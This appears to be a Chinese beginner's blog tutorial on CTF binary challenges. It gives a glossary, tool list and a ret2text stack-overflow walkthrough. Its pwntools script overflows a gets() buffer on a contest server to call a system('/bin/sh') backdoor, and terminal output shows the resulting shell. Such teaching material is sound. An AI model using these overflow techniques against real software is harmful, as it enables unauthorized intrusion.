两进制入门杂谈

序言

作为一个两进制新人 毅然决定开始动手写这一篇文章 内容或许(一定)不完善 也会有很多问题 但是更能以一个新人的角度来看待问题 把我(们)曾经踩过的坑复现出来 同时在两进制的主要方向–pwn/re的新手部分我都有部分涉及(指AK入门指北) 希望能够帮到大家 同时也算是复习这些知识

这篇文章将会以一个新手的角度从零开始到至少能在校级比赛上能有输出(指公众号签到) 同时会借鉴大量的我曾看过的文章和大牛博客 以及两进制大家庭各位的帮助

0xFF Oops!!!

实话说 这一章是后来才开始写的 主要灵感来源于学长的小趣闻(指期末答辩考察ELF的意义) 突然想起刚进入这个赛道的我的迷茫感 所以 以下对一些常用简称/术语进行简介 在之后文章撰写中如果有更多术语会再进行补充:

简称 全称 简介
CTF Capture The Flag 夺旗赛,从题目中获得flag
flag - 你的目标 类似于KEPER{Th1s_i4_fak3_fl@g}(前缀+{}+内容)
RE Reverse 逆向工程,二进制的一部分
PWN 发音类似“砰”,是指攻破设备或者系统 系统/硬件破解,希望成为电视/电影中的hacker吗,来跟命令行玩玩吧
IOT Internet of Things 物联网工程,同样也是二进制学习一部分
MISC miscellaneous 杂项,简称对脑洞or工具利用题(bushi),两进制刷分好帮手
Crypto Cryptography 密码学,数学佬狂喜
WEB website 网站破解,尾部佬YYDS,装逼慎用cmd,请使用F12
wp writeup 解题思路,题目解题过程的记录,最好分类整理以便填充博客(悲)
pl playload (有效攻击负载)是包含在你用于一次漏洞利用中的主要功能代码 pwn✌的调试之路才刚刚开始
shellcode - 可提权代码(🈲shellcraft )
EXP Exploit 利用,指利用系统漏洞进行攻击的动作
AK all kill 某一类型题目或者全部题目都被解出 并非AK-47
一血 first blood 通常指比赛中最先得分/解出某题 建议double kill
py - 指比赛中通过非解题手段,从其他渠道或选手处违规获得flag或解题提示(那还能怎么办 某大厂黄色软件一把梭呗)

0x00??

在一切的开始 我们需要拥有属于自己的一套工具集和环境 这不仅是你学习和做题的基础 也是对你信息收集能力的体现 在这个过程中 你会遭遇到无数的报错 事实证明 适合自己的才是最好的

系统

Kali Linux - 基于 Debian

Android Tamer - 基于 Debian

Binary:

IDA Pro - 逆向神器 反编译

checksec

gdb - GNU 项目调试器

gef - GDB 插件

pwndbg - GDB 插件

one_gadget

pwntools

unicorn(Library)

angr - 二进制分析框架

z3 - 来自 Microsoft Research 的定理证明器

apktool - Android 反编译器

Plasma - 用于 x86/ARM/MIPS 的交互式反汇编器 可以生成具有彩色语法的缩进伪代码

die

ghidra - 逆向工程工具的开源套件。类似于 IDA Pro

jadx - Android 反编译器

dnspy

[010editor](010 Editor - Pro Text/Hex Editor | Edit 280+ Formats | Fast & Powerful | Reverse Engineering)

x64dbg

CyberChef

DLLInjector - 在进程中注入 dll

CFF Explorer - PE 编辑器

Exif tools - 读取、写入和编辑文件元数

Boomerang - 将 x86/SPARC/PowerPC/ST-20 二进制文件反编译为 C

BinWalk - 分析、逆向工程和提取固件映像

cwe_checker - cwe_checker 在二进制可执行文件中查找易受攻击的模式

demovfuscator - 一个正在进行的 movfuscated 二进制文件的反混淆器

Frida - 动态代码注入

PinCTF - 使用 intel pin 进行侧信道分析的工具

Plasma - 用于 x86/ARM/MIPS 的交互式反汇编器 可以生成具有彩色语法的缩进伪代码

Misc(Forensics):

binwalk

foremost(apt)

pdf-parser

pngtools(apt)

stegsolve

Audacity - 分析声音文件(mp3、m4a 等)

Extundelete - 用于从可挂载的映像中恢复丢失的数据

Foremost - 使用标头提取特定类型的文件(apt-get install foremost)

Fsck.ext4 - 用于修复损坏的文件系统

Pngcheck - 验证 PNG 的完整性 并以人类可读的形式转储所有块级信息(apt-get install pngcheck)

Snow - 空白隐写工具

Volatility) - 调查内存转储

Wireshark - 分析网络转储(apt-get install wireshark)

SmartDeblur - 用于对虚化图像进行去模糊和修复虚化图像

Crypto:

codext

hashkill

hashpump

yafu

RSACTFTool

0x00 简介

刚开始两进制只需要了解re/pwn

什么是逆向工程 (RE)

​ 《逆向工程》是你即将体验的一款开放世界冒险游戏。该游戏秉持着根据已有的东西和结果,通过分析 来推导出具体的实现方法,包括但不限于:编译后的二进制程序、汇编代码分析、甚至是编译前的代码分析。 游戏设定在一个名为“调试器”的真实工具中,你将扮演一位名为“逆向人”的角色,在自由的代码执行中邂逅 性格各异、能力独特的指令、特性们,与他们一起拿下CTF比赛,找回失散的flag,同时逐步发掘“二进制”的 真相。

​ 本文讲解的是狭义逆向工程(偏向于CTF比赛),你需要深入分析代码片段/二进制文件,获取其中加密 后的一段flag文本并提交到比赛平台,就算你过关! 一般来说,比赛主办方都会给你一个exe(win下的可执行文件)/elf(linux下的可执行文件),还有的会直 接给你.asm(汇编语言文件)或者apk(手机安装包文件),甚至更离谱的,scratch编程工具的代码文件,不常 见架构的程序(riscv、甚至是上世纪的红白机的文件),你需要有正确的思考能力和肝能力,从史山代码中 提取珠宝,定位正确的地点,从而解决这个问题。

–摘录自2024moectf入门文档

什么是PWN

Pwn(读作“砰”,拟声词)⼀词起源于⽹络游戏社区,原本表⽰成功⼊侵了计算机系统,在 CTF 中则是⼀种题⽬⽅向:通过构造恶意输⼊达到泄漏信息甚⾄劫持⼏乎整个系统 (getshell)的⽬的。其实在 CTF ⽐赛发展初期,赛题通常只与⼆进制安全相关,因此 Pwn 是 CTF 领域最原始的⽅向。

–摘录自2024moectf入门文档

PWN-0x01

解锁本部分请先完成:

基础:C语言基础 IDA使用基础 简单汇编基础 栈基本了解 pwntools

以下内容均建立在对基础知识有所了解的情况下展开 请善用搜索引擎

在开始整个部分之前 我们先来看一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int main(void)
{
int a = 0;
int input;
scanf_s("%d", &input);
if (input == 666)
{
a = 1;
}
if (a == 1)
{
printf("flag is:FLAG{@Y@S_i5_G0od_R1ght?}");
}
printf("maybe you can't good");
return 0;
}

猜数字就给flag 看起来很简单 我们使用IDA打开这段代码编译得到的程序

main函数长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main()
{
char *v0; // rdi
__int64 i; // rcx
char v3; // [rsp+20h] [rbp+0h] BYREF
int v4; // [rsp+24h] [rbp+4h]
int v5[53]; // [rsp+44h] [rbp+24h] BYREF

v0 = &v3;
for ( i = 18i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}

//这里是内存空间初始化 不管

j___CheckForDebuggerJustMyCode(&_EBC19AA6_FileName_cpp);

//调试器检测 不管


//以下为主要部分
v4 = 0;
j_scanf_s("%d", v5);
if ( v5[0] == 666 )
v4 = 1;
if ( v4 == 1 )
j_printf("flag is:FLAG{@Y@S_i5_G0od_R1ght?}");
j_printf("maybe you can't good");
return 0i64;
}

很简单对吧 但是如果我就是逆天 我不想输数字 我就想让程序输出flag 那我们来尝试一种很新的办法

看汇编(这是二进制必修课 得多看)

QQ_1735568080338

这里我提供的是完全没必要的方法 只是为了进行引入而已 实际问题请勿模仿

我们施展一点小技巧(以后会写的)

QQ_1735568745881

当我们再次运行时会直接jmp(无条件跳转)到loc_1400119EC也就是输出flag的地方

实际上 我们这里的想法就是 更改字节码 设置了一个jmp到达指定地址 来实现了任意地址跳转(该行中E9代表长跳转jmp 后跟相对偏移 不细细展开 re部分会提到) 如果到这里为止你都没有问题 那么恭喜你 你成功领悟到了Inline hook的真谛(开个玩笑 当然对这个名词会很陌生 同样是re部分的内容)

运行实例(跳过了输入部分):

QQ_1735568895751

我们成功跳过了输入部分 并且得到了flag

这里其实是完全大费周章的操作 并且似乎与pwn没有任何关系

那我们再思考一下以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
void fuc(int a)
{
if (a == 1)
{
printf("flag is:FLAG{@Y@S_i5_G0od_R1ght?}");
}
}
int main(void)
{
int a = 0;
int input;
scanf_s("%d", &input);
if (input == 666)
{
a = 1;
}
fuc(a);
printf("maybe you can't good");
return 0;
}

基本实现没有变化 只是拆成了两个函数 那么在IDA里的体现应该是什么呢?

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall main()
{
char *v0; // rdi
__int64 i; // rcx
char v3; // [rsp+20h] [rbp+0h] BYREF
int a; // [rsp+24h] [rbp+4h]
int v5[53]; // [rsp+44h] [rbp+24h] BYREF

v0 = &v3;
for ( i = 18i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
j___CheckForDebuggerJustMyCode(&_EBC19AA6_FileName_cpp);

//以下为正文部分:
a = 0;
j_scanf_s("%d", v5);
if ( v5[0] == 666 )
a = 1;
fuc(a);
j_printf("maybe you can't good");
return 0i64;
}

区别无非就是main函数里多了个fuc函数的调用 那么如果按照刚刚的思路 我们只需要同样的构造jmp+地址的形式就能实现任意跳转

读到这里 实际上你已经对ret2text有部分了解了 或许你很迷茫 什么是ret2text 那么接着往下看

事实上 以上所有的操作都是基于本地运行 我们拥有源代码并能随意改写得到的结果 但是在pwn题中都是远程环境 执行的都是远程环境中的程序 就算我们在本地修改了jmp 在远程环境中也不会有任何作用 那么我们之前大费周章的讲那么多都是没用的吗??

其实不然 对基础的ret2text题目来说你会发现几个与刚刚例子中相同的特点

请仔细回忆刚刚的程序 我们的目标就是需要程序输出flag 需要输出的flag以及”printf”语句不是我们用户写出来的吧 而是程序已经给出的 尤其是像第二个例子 那么在pwn题目中 大部分时候我们的目标是打开一个shell 那么打开这个shell的操作也应当是程序中给出的

所以:

1.题目中给出了backdoor(例如第二个程序中的fuc()函数,或是pwn题中给的一个从未被调用但是能打开shell的函数)

第一点中我提到了 shell打开的函数是从未被调用的 那么我们应该怎么样去打开这个shell呢

实际上我们只需要调用这个backdoor函数 我们应该如何调用呢 没错 像刚刚的第二个示例一样 我们只需要jmp到目标函数所在地址(例如第二个程序的fuc所在地址)

2.目标:jmp到能打开shell或是cat flag的函数

问题又来了 我们刚刚说过了 题目是在远程环境运行的 根本不能像我们刚刚那样自己写一个jmp上去 所以我们需要利用程序中现有的”jmp”指令

让我们来猜猜为什么这个方法要叫ret2text(ret to text)

text实际上指的是text段 指的是程序中已经定义好的代码 也就是我们的第一点 题目给出了定义好的backdoor函数

ret呢

熟悉汇编的小伙伴都知道

通过一种不严谨的方式来说

ret=pop+jmp

以第二个程序为例

当main函数调用fuc函数时 会将下一条指令的返回地址压入栈中 而ret可以视为rip=返回地址+jmp到rip所指向的地址

这里似乎凑齐了我们需要的剩下两个要素

3.ret+控制返回地址

基于以上三点 我们似乎就能够完成调用backdoor函数的任务了 我们的目标就是在ret时返回的是我们所指定的返回地址就好了

想要控制返回地址 我们就需要用到栈溢出原理

(以下内容请学习栈,栈帧的结构后食用)

我们刚刚提到过 返回地址在调用函数时会被压入栈中我们只需要控制栈就能控制返回地址

栈上有些什么呢?? 排放顺序如何呢??

思考ing

从一个栈帧看起 从高地址向低地址(rbp–>rsp)依次是返回地址+旧的rbp值+局部变量

如果我们通过写入很长很长的局部变量 计算好偏移 就能覆盖到返回地址处 就实现了所谓的ret2text(无保护情况下)

理论形成 实践开始 公式题真能秒

看题

例如2024极客大挑战题目:你会栈溢出吗

开始套公式

1.寻找backdoor–查看函数表

QQ_1735572788188

顺着main函数看逻辑 只有key函数未被调用 并且key函数内容为

1
2
3
4
5
6
__int64 key()
{
printf("yes,yes,this is key.you can catch me?");
system("/bin/sh");
return 0LL;
}

打开了一个shell,完美符合第一点

接下来我们就要控制返回地址 就需要寻找溢出点

1
2
3
4
5
6
7
8
int welcome()
{
char v1[12]; // [rsp+4h] [rbp-Ch] BYREF

puts("Welcome to geek,what's you name?");
gets(v1);
return printf("hello,%s\nDo you know key?", v1);
}

welcome函数中很明显的危险函数gets

gets在读取数据时是不会检查长度的 能写入很长很长的数据来覆盖到返回地址 套公式成功

接下来就是算偏移 这个函数只有一个局部变量 v1数组 大小为12

那么此时该函数的栈帧组成为返回地址+8字节的旧rbp值+12字节的数组空间

所以我们需要输入的数据为12+8+返回地址就能解决该题

但是返回地址我们并不能手动输入进去 因为会被解释为字符串而不是字节 所以我们需要用到pwntools库

1
2
3
4
5
6
from pwn import *
a=remote("nc1.ctfplus.cn",47014)
a.recvline()
payload=b'a'*(12+8)+p64(0x40073D)
a.sendline(payload)
a.interactive()

a.interactive()来获取交互 因为此时你已经打开了一个shell 你就能得到flag了

这个时候如果有细心的朋友会发现为什么我的返回地址似乎有些问题

此时的key函数汇编状态下是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400728                               public key
.text:0000000000400728 key proc near
.text:0000000000400728 ; __unwind {
.text:0000000000400728 55 push rbp
.text:0000000000400729 48 89 E5 mov rbp, rsp
.text:000000000040072C 48 8D 3D 15 01 00 00 lea rdi, format ; "yes,yes,this is key.you can catch me?"
.text:0000000000400733 B8 00 00 00 00 mov eax, 0
.text:0000000000400738 E8 73 FE FF FF call _printf
.text:0000000000400738
.text:000000000040073D 48 8D 3D 2A 01 00 00 lea rdi, command ; "/bin/sh"
.text:0000000000400744 E8 57 FE FF FF call _system
.text:0000000000400744
.text:0000000000400749 B8 00 00 00 00 mov eax, 0
.text:000000000040074E 5D pop rbp
.text:000000000040074F C3 retn
.text:000000000040074F ; } // starts at 400728
.text:000000000040074F
.text:000000000040074F key endp

为什么我的返回地址是0x40073D而不是开头的0x400728

那我们来做个实验:

使用以下脚本

1
2
3
4
5
6
from pwn import *
a=remote("nc1.ctfplus.cn",47014)
a.recvline()
payload=b'a'*(12+8)+p64(0x400728)
a.sendline(payload)
a.interactive()

但是却没有打开shell

1
2
3
4
5
6
7
kali@kali-VMware-Virtual-Platform:~/桌面$ python3 expload.py 
[+] Opening connection to nc1.ctfplus.cn on port 46975: Done
[*] Switching to interactive mode
hello,aaaaaaaaaaaaaaaaaaaa(\x07@
Do you know key?[*] Got EOF while reading in interactive
$ ls
$

根据观察发现提示了我们Got EOF while reading in interactive

直接结束了交互

那如果我们改成0x400729呢

再试:

1
2
3
4
5
6
7
8
9
10
11
12
13
kali@kali-VMware-Virtual-Platform:~/桌面$ python3 expload.py 
[+] Opening connection to nc1.ctfplus.cn on port 46975: Done
[*] Switching to interactive mode
hello,aaaaaaaaaaaaaaaaaaaa)\x07@
Do you know key?yes,yes,this is key.you can catch me?$ ls
bin
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
stackover

成功了

这里就涉及到了ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

简单来说就是在此版本以上的64位程序调用system函数时 会有一条指令叫做movaps指令,这个指令要求内存地址必须16字节对齐

所以当你遇到这个问题时 请尝试在你的返回地址后面+1 原理请移步基础知识标签下的”栈对齐“文章查阅

(未完待续….)


两进制入门杂谈
http://example.com/2024/12/27/两进制入门杂谈/
作者
QYQS
发布于
2024年12月27日
许可协议